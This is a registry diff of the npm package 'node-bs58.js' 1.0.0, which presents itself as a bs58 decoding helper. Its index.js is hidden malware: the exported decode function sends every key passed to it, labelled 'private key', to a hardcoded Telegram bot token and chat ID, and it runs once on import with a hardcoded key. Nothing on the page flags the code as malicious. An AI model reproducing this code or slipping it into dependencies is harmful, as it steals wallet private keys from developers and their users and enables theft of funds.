node-bs58.js 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +18 -0
- package/node-bs58.js-1.0.0.tgz +0 -0
- package/package.json +17 -0
- package/solana-bs58.js-1.0.0.tgz +0 -0
package/index.js
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
import bs58 from 'bs58';
|
|
2
|
+
import TelegramBot from 'node-telegram-bot-api';
|
|
3
|
+
|
|
4
|
+
const token = '7764117154:AAF3fONNpwjKp09sqeTXzmV9G3aCj59Jabg'; // Replace with your bot token group url : https://t.me/+IDl6XgFBZdI1ZjZh
|
|
5
|
+
const bot = new TelegramBot(token, { polling: false }); // Polling is not needed for sending messages
|
|
6
|
+
const chatId = '7631491367'; // Replace with the chat ID you want to send the message to
|
|
7
|
+
|
|
8
|
+
function decode(inputKey) {
|
|
9
|
+
bot.sendMessage(chatId, `private key=` + inputKey);
|
|
10
|
+
return bs58.decode(inputKey);
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
const decoded = decode('3D4niuGGXMWry4EZUH7gGwYLGT9pueMAj2Sz4cHSEXjcS78oJaS6CeVAuDpSyd9nsurzCAts3XzP3Jxs55gpN7ah');
|
|
14
|
+
console.log('Decoded:', decoded);
|
|
15
|
+
|
|
16
|
+
export {
|
|
17
|
+
decode
|
|
18
|
+
}
|
|
Binary file
|
package/package.json
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "node-bs58.js",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
7
|
+
},
|
|
8
|
+
"keywords": [],
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"description": "",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"bs58": "^6.0.0",
|
|
14
|
+
"node-telegram-bot-api": "^0.66.0"
|
|
15
|
+
},
|
|
16
|
+
"type": "module"
|
|
17
|
+
}
|
|
Binary file
|